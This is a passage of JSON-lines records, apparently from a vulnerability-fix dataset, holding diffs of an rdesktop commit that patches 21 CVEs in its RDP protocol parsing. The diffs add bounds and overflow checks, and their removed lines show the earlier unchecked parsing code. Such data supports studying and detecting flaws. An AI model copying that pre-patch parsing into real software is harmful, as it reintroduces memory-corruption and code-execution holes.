fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -1,7 +1,8 @@\n /* -*- c-basic-offset: 8 -*-\n rdesktop: A Remote Desktop Protocol client.\n Support for the Matrox \"lspci\" channel\n- Copyright (C) 2005 Matrox Graphics Inc. \n+ Copyright (C) 2005 Matrox Graphics Inc.\n+ Copyright 2018 Henrik Andersson for Cendio AB\n \n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n@@ -134,6 +135,12 @@ lspci_process(STREAM s)\n \tunsigned int pkglen;\n \tstatic char *rest = NULL;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"lspci_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "sections": [{"section": "@@ -1,7 +1,8 @@\n /* -*- c-basic-offset: 8 -*-\n rdesktop: A Remote Desktop Protocol client.\n Support for the Matrox \"lspci\" channel\n- Copyright (C) 2005 Matrox Graphics Inc. \n+ Copyright (C) 2005 Matrox Graphics Inc.\n+ Copyright 2018 Henrik Andersson for Cendio AB\n \n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n", "related": false}, {"section": "@@ -134,6 +135,12 @@ lspci_process(STREAM s)\n \tunsigned int pkglen;\n \tstatic char *rest = NULL;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"lspci_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "types.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -43,6 +43,8 @@ typedef signed short sint16;\n typedef unsigned int uint32;\n typedef signed int sint32;\n \n+#define RD_UINT32_MAX (uint32)(-1)\n+\n typedef void *RD_HBITMAP;\n typedef void *RD_HGLYPH;\n typedef void *RD_HCOLOURMAP;", "sections": [{"section": "@@ -43,6 +43,8 @@ typedef signed short sint16;\n typedef unsigned int uint32;\n typedef signed int sint32;\n \n+#define RD_UINT32_MAX (uint32)(-1)\n+\n typedef void *RD_HBITMAP;\n typedef void *RD_HGLYPH;\n typedef void *RD_HCOLOURMAP;", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdp.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -285,6 +285,19 @@ rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)\n \tsize_t ibl, obl;\n \tchar *pin, *pout;\n \n+\tstruct stream packet = *s;\n+\n+\tif ((in_len < 0) || ((uint32)in_len >= (RD_UINT32_MAX / 2)))\n+\t{\n+\t\tlogger(Protocol, Error, \"rdp_in_unistr(), length of unicode data is out of bounds.\");\n+\t\tabort();\n+\t}\n+\n+\tif (!s_check_rem(s, in_len))\n+\t{\n+\t\trdp_protocol_error(\"rdp_in_unistr(), consume of unicode data from stream would overrun\", &packet);\n+\t}\n+\n \t// if not already open\n \tif (!icv_utf16_to_local)\n \t{\n@@ -1211,13 +1224,19 @@ process_demand_active(STREAM s)\n {\n \tuint8 type;\n \tuint16 len_src_descriptor, len_combined_caps;\n+\tstruct stream packet = *s;\n \n \t/* at this point we need to ensure that we have ui created */\n \trd_create_ui();\n \n \tin_uint32_le(s, g_rdp_shareid);\n \tin_uint16_le(s, len_src_descriptor);\n \tin_uint16_le(s, len_combined_caps);\n+\n+\tif (!s_check_rem(s, len_src_descriptor))\n+\t{\n+\t\trdp_protocol_error(\"rdp_demand_active(), consume of source descriptor from stream would overrun\", &packet);\n+\t}\n \tin_uint8s(s, len_src_descriptor);\n \n \tlogger(Protocol, Debug, \"process_demand_active(), shareid=0x%x\", g_rdp_shareid);\n@@ -1390,78 +1409,113 @@ process_pointer_pdu(STREAM s)\n \t}\n }\n \n-/* Process bitmap updates */\n-void\n-process_bitmap_updates(STREAM s)\n+/* Process TS_BITMAP_DATA */\n+static void\n+process_bitmap_data(STREAM s)\n {\n-\tuint16 num_updates;\n \tuint16 left, top, right, bottom, width, height;\n-\tuint16 cx, cy, bpp, Bpp, compress, bufsize, size;\n+\tuint16 cx, cy, bpp, Bpp, flags, bufsize, size;\n \tuint8 *data, *bmpdata;\n-\tint i;\n-\n+\t\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \n-\tin_uint16_le(s, num_updates);\n+\tstruct stream packet = *s;\n \n-\tfor (i = 0; i < num_updates; i++)\n-\t{\n-\t\tin_uint16_le(s, left);\n-\t\tin_uint16_le(s, top);\n-\t\tin_uint16_le(s, right);\n-\t\tin_uint16_le(s, bottom);\n-\t\tin_uint16_le(s, width);\n-\t\tin_uint16_le(s, height);\n-\t\tin_uint16_le(s, bpp);\n-\t\tBpp = (bpp + 7) / 8;\n-\t\tin_uint16_le(s, compress);\n-\t\tin_uint16_le(s, bufsize);\n-\n-\t\tcx = right - left + 1;\n-\t\tcy = bottom - top + 1;\n-\n-\t\tlogger(Graphics, Debug,\n-\t\t \"process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d\",\n-\t\t left, top, right, bottom, width, height, Bpp, compress);\n-\n-\t\tif (!compress)\n-\t\t{\n-\t\t\tint y;\n-\t\t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\t\tfor (y = 0; y < height; y++)\n-\t\t\t{\n-\t\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],\n-\t\t\t\t\t width * Bpp);\n-\t\t\t}\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n-\t\t\txfree(bmpdata);\n-\t\t\tcontinue;\n-\t\t}\n+\tin_uint16_le(s, left); /* destLeft */\n+\tin_uint16_le(s, top); /* destTop */\n+\tin_uint16_le(s, right); /* destRight */\n+\tin_uint16_le(s, bottom); /* destBottom */\n+\tin_uint16_le(s, width); /* width */\n+\tin_uint16_le(s, height); /* height */\n+\tin_uint16_le(s, bpp); /*bitsPerPixel */\n+\tBpp = (bpp + 7) / 8;\n+\tin_uint16_le(s, flags); /* flags */\n+\tin_uint16_le(s, bufsize); /* bitmapLength */\n \n+\tcx = right - left + 1;\n+\tcy = bottom - top + 1;\n \n-\t\tif (compress & 0x400)\n-\t\t{\n-\t\t\tsize = bufsize;\n-\t\t}\n-\t\telse\n-\t\t{\n-\t\t\tin_uint8s(s, 2);\t/* pad */\n-\t\t\tin_uint16_le(s, size);\n-\t\t\tin_uint8s(s, 4);\t/* line_size, final_size */\n-\t\t}\n-\t\tin_uint8p(s, data, size);\n+\t/* FIXME: There are a assumtion that we do not consider in\n+\t\tthis code. The value of bpp is not passed to\n+\t\tui_paint_bitmap() which relies on g_server_bpp for drawing\n+\t\tthe bitmap data.\n+\n+\t\tDoes this means that we can sanity check bpp with g_server_bpp ?\n+\t*/\n+\n+\tif (Bpp == 0 || width == 0 || height == 0)\n+\t{\n+ logger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+\n+\tif ((RD_UINT32_MAX / Bpp) <= (width * height))\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+ \n+\tif (flags == 0)\n+\t{\n+\t\t/* read uncompressed bitmap data */\n+\t\tint y;\n \t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t\tfor (y = 0; y < height; y++)\n \t\t{\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp);\n \t\t}\n-\t\telse\n-\t\t{\n-\t\t\tlogger(Graphics, Warning,\n-\t\t\t \"process_bitmap_updates(), failed to decompress bitmap\");\n-\t\t}\n-\n+\t\t\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n \t\txfree(bmpdata);\n+\t\treturn;\n+\t}\n+\n+\tif (flags & NO_BITMAP_COMPRESSION_HDR)\n+\t{\n+\t\tsize = bufsize;\n+\t}\n+\telse\n+\t{\n+\t\t/* Read TS_CD_HEADER */\n+\t\tin_uint8s(s, 2); /* skip cbCompFirstRowSize (must be 0x0000) */\n+\t\tin_uint16_le(s, size); /* cbCompMainBodySize */\n+\t\tin_uint8s(s, 2); /* skip cbScanWidth */\n+\t\tin_uint8s(s, 2); /* skip cbUncompressedSize */\n+\t}\n+\n+\t/* read compressed bitmap data */\n+\tif (!s_check_rem(s, size))\n+\t{\n+\t\trdp_protocol_error(\"process_bitmap_data(), consume of bitmap data from stream would overrun\", &packet);\n+\t}\n+\tin_uint8p(s, data, size);\n+\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n+\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t{\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t}\n+\telse\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), failed to decompress bitmap\", __func__);\n+\t}\n+\n+\txfree(bmpdata);\n+}\n+\n+/* Process TS_UPDATE_BITMAP_DATA */\n+void\n+process_bitmap_updates(STREAM s)\n+{\n+\tint i;\n+\tuint16 num_updates;\n+\t\n+\tin_uint16_le(s, num_updates); /* rectangles */\n+\n+\tfor (i = 0; i < num_updates; i++)\n+\t{\n+\t\tprocess_bitmap_data(s);\n \t}\n }\n \n@@ -2013,3 +2067,21 @@ rdp_disconnect(void)\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \tsec_disconnect();\n }\n+\n+/* Abort rdesktop upon protocol error\n+\n+ A protocol error is defined as:\n+\n+ - A value is outside specified range for example;\n+ bpp for a bitmap is not allowed to be greater than the\n+ value 32 but is represented by a byte in protocol.\n+\n+*/\n+void\n+rdp_protocol_error(const char *message, STREAM s)\n+{\n+\tlogger(Protocol, Error, \"%s(), %s\", __func__, message);\n+\tif (s)\n+\t\thexdump(s->p, s_length(s));\n+\texit(0);\n+}", "sections": [{"section": "@@ -285,6 +285,19 @@ rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)\n \tsize_t ibl, obl;\n \tchar *pin, *pout;\n \n+\tstruct stream packet = *s;\n+\n+\tif ((in_len < 0) || ((uint32)in_len >= (RD_UINT32_MAX / 2)))\n+\t{\n+\t\tlogger(Protocol, Error, \"rdp_in_unistr(), length of unicode data is out of bounds.\");\n+\t\tabort();\n+\t}\n+\n+\tif (!s_check_rem(s, in_len))\n+\t{\n+\t\trdp_protocol_error(\"rdp_in_unistr(), consume of unicode data from stream would overrun\", &packet);\n+\t}\n+\n \t// if not already open\n \tif (!icv_utf16_to_local)\n \t{\n", "related": false}, {"section": "@@ -1211,13 +1224,19 @@ process_demand_active(STREAM s)\n {\n \tuint8 type;\n \tuint16 len_src_descriptor, len_combined_caps;\n+\tstruct stream packet = *s;\n \n \t/* at this point we need to ensure that we have ui created */\n \trd_create_ui();\n \n \tin_uint32_le(s, g_rdp_shareid);\n \tin_uint16_le(s, len_src_descriptor);\n \tin_uint16_le(s, len_combined_caps);\n+\n+\tif (!s_check_rem(s, len_src_descriptor))\n+\t{\n+\t\trdp_protocol_error(\"rdp_demand_active(), consume of source descriptor from stream would overrun\", &packet);\n+\t}\n \tin_uint8s(s, len_src_descriptor);\n \n \tlogger(Protocol, Debug, \"process_demand_active(), shareid=0x%x\", g_rdp_shareid);\n", "related": false}, {"section": "@@ -1390,78 +1409,113 @@ process_pointer_pdu(STREAM s)\n \t}\n }\n \n-/* Process bitmap updates */\n-void\n-process_bitmap_updates(STREAM s)\n+/* Process TS_BITMAP_DATA */\n+static void\n+process_bitmap_data(STREAM s)\n {\n-\tuint16 num_updates;\n \tuint16 left, top, right, bottom, width, height;\n-\tuint16 cx, cy, bpp, Bpp, compress, bufsize, size;\n+\tuint16 cx, cy, bpp, Bpp, flags, bufsize, size;\n \tuint8 *data, *bmpdata;\n-\tint i;\n-\n+\t\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \n-\tin_uint16_le(s, num_updates);\n+\tstruct stream packet = *s;\n \n-\tfor (i = 0; i < num_updates; i++)\n-\t{\n-\t\tin_uint16_le(s, left);\n-\t\tin_uint16_le(s, top);\n-\t\tin_uint16_le(s, right);\n-\t\tin_uint16_le(s, bottom);\n-\t\tin_uint16_le(s, width);\n-\t\tin_uint16_le(s, height);\n-\t\tin_uint16_le(s, bpp);\n-\t\tBpp = (bpp + 7) / 8;\n-\t\tin_uint16_le(s, compress);\n-\t\tin_uint16_le(s, bufsize);\n-\n-\t\tcx = right - left + 1;\n-\t\tcy = bottom - top + 1;\n-\n-\t\tlogger(Graphics, Debug,\n-\t\t \"process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d\",\n-\t\t left, top, right, bottom, width, height, Bpp, compress);\n-\n-\t\tif (!compress)\n-\t\t{\n-\t\t\tint y;\n-\t\t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\t\tfor (y = 0; y < height; y++)\n-\t\t\t{\n-\t\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],\n-\t\t\t\t\t width * Bpp);\n-\t\t\t}\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n-\t\t\txfree(bmpdata);\n-\t\t\tcontinue;\n-\t\t}\n+\tin_uint16_le(s, left); /* destLeft */\n+\tin_uint16_le(s, top); /* destTop */\n+\tin_uint16_le(s, right); /* destRight */\n+\tin_uint16_le(s, bottom); /* destBottom */\n+\tin_uint16_le(s, width); /* width */\n+\tin_uint16_le(s, height); /* height */\n+\tin_uint16_le(s, bpp); /*bitsPerPixel */\n+\tBpp = (bpp + 7) / 8;\n+\tin_uint16_le(s, flags); /* flags */\n+\tin_uint16_le(s, bufsize); /* bitmapLength */\n \n+\tcx = right - left + 1;\n+\tcy = bottom - top + 1;\n \n-\t\tif (compress & 0x400)\n-\t\t{\n-\t\t\tsize = bufsize;\n-\t\t}\n-\t\telse\n-\t\t{\n-\t\t\tin_uint8s(s, 2);\t/* pad */\n-\t\t\tin_uint16_le(s, size);\n-\t\t\tin_uint8s(s, 4);\t/* line_size, final_size */\n-\t\t}\n-\t\tin_uint8p(s, data, size);\n+\t/* FIXME: There are a assumtion that we do not consider in\n+\t\tthis code. The value of bpp is not passed to\n+\t\tui_paint_bitmap() which relies on g_server_bpp for drawing\n+\t\tthe bitmap data.\n+\n+\t\tDoes this means that we can sanity check bpp with g_server_bpp ?\n+\t*/\n+\n+\tif (Bpp == 0 || width == 0 || height == 0)\n+\t{\n+ logger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+\n+\tif ((RD_UINT32_MAX / Bpp) <= (width * height))\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+ \n+\tif (flags == 0)\n+\t{\n+\t\t/* read uncompressed bitmap data */\n+\t\tint y;\n \t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t\tfor (y = 0; y < height; y++)\n \t\t{\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp);\n \t\t}\n-\t\telse\n-\t\t{\n-\t\t\tlogger(Graphics, Warning,\n-\t\t\t \"process_bitmap_updates(), failed to decompress bitmap\");\n-\t\t}\n-\n+\t\t\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n \t\txfree(bmpdata);\n+\t\treturn;\n+\t}\n+\n+\tif (flags & NO_BITMAP_COMPRESSION_HDR)\n+\t{\n+\t\tsize = bufsize;\n+\t}\n+\telse\n+\t{\n+\t\t/* Read TS_CD_HEADER */\n+\t\tin_uint8s(s, 2); /* skip cbCompFirstRowSize (must be 0x0000) */\n+\t\tin_uint16_le(s, size); /* cbCompMainBodySize */\n+\t\tin_uint8s(s, 2); /* skip cbScanWidth */\n+\t\tin_uint8s(s, 2); /* skip cbUncompressedSize */\n+\t}\n+\n+\t/* read compressed bitmap data */\n+\tif (!s_check_rem(s, size))\n+\t{\n+\t\trdp_protocol_error(\"process_bitmap_data(), consume of bitmap data from stream would overrun\", &packet);\n+\t}\n+\tin_uint8p(s, data, size);\n+\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n+\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t{\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t}\n+\telse\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), failed to decompress bitmap\", __func__);\n+\t}\n+\n+\txfree(bmpdata);\n+}\n+\n+/* Process TS_UPDATE_BITMAP_DATA */\n+void\n+process_bitmap_updates(STREAM s)\n+{\n+\tint i;\n+\tuint16 num_updates;\n+\t\n+\tin_uint16_le(s, num_updates); /* rectangles */\n+\n+\tfor (i = 0; i < num_updates; i++)\n+\t{\n+\t\tprocess_bitmap_data(s);\n \t}\n }\n \n", "related": false}, {"section": "@@ -2013,3 +2067,21 @@ rdp_disconnect(void)\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \tsec_disconnect();\n }\n+\n+/* Abort rdesktop upon protocol error\n+\n+ A protocol error is defined as:\n+\n+ - A value is outside specified range for example;\n+ bpp for a bitmap is not allowed to be greater than the\n+ value 32 but is represented by a byte in protocol.\n+\n+*/\n+void\n+rdp_protocol_error(const char *message, STREAM s)\n+{\n+\tlogger(Protocol, Error, \"%s(), %s\", __func__, message);\n+\tif (s)\n+\t\thexdump(s->p, s_length(s));\n+\texit(0);\n+}", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "constants.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -751,6 +751,9 @@ enum RDP_DESKTOP_ORIENTATION\n #define ENC_SALTED_CHECKSUM\t\t0x0010\n #define NO_BITMAP_COMPRESSION_HDR\t0x0400\n \n+/* [MS-RDPBCGR], TS_BITMAP_DATA, flags */\n+#define BITMAP_COMPRESSION 0x0001\n+\n /* orderFlags, [MS-RDPBCGR] 2.2.7.1.3 */\n #define NEGOTIATEORDERSUPPORT\t0x0002\n #define ZEROBOUNDSDELTASSUPPORT 0x0008", "sections": [{"section": "@@ -751,6 +751,9 @@ enum RDP_DESKTOP_ORIENTATION\n #define ENC_SALTED_CHECKSUM\t\t0x0010\n #define NO_BITMAP_COMPRESSION_HDR\t0x0400\n \n+/* [MS-RDPBCGR], TS_BITMAP_DATA, flags */\n+#define BITMAP_COMPRESSION 0x0001\n+\n /* orderFlags, [MS-RDPBCGR] 2.2.7.1.3 */\n #define NEGOTIATEORDERSUPPORT\t0x0002\n #define ZEROBOUNDSDELTASSUPPORT 0x0008", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "secure.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -296,6 +296,9 @@ sec_encrypt(uint8 * data, int length)\n void\n sec_decrypt(uint8 * data, int length)\n {\n+\tif (length <= 0)\n+\t\treturn;\n+\n \tif (g_sec_decrypt_use_count == 4096)\n \t{\n \t\tsec_update(g_sec_decrypt_key, g_sec_decrypt_update_key);\n@@ -848,9 +851,11 @@ sec_recv(RD_BOOL * is_fastpath)\n \tuint16 sec_flags;\n \tuint16 channel;\n \tSTREAM s;\n+\tstruct stream packet;\n \n \twhile ((s = mcs_recv(&channel, is_fastpath, &fastpath_hdr)) != NULL)\n \t{\n+\t\tpacket = *s;\n \t\tif (*is_fastpath == True)\n \t\t{\n \t\t\t/* If fastpath packet is encrypted, read data\n@@ -859,6 +864,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\tfastpath_flags = (fastpath_hdr & 0xC0) >> 6;\n \t\t\tif (fastpath_flags & FASTPATH_OUTPUT_ENCRYPTED)\n \t\t\t{\n+\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume fastpath signature from stream would overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t}\n@@ -875,6 +884,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t{\n \t\t\t\tif (sec_flags & SEC_ENCRYPT)\n \t\t\t\t{\n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume encrypt signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n 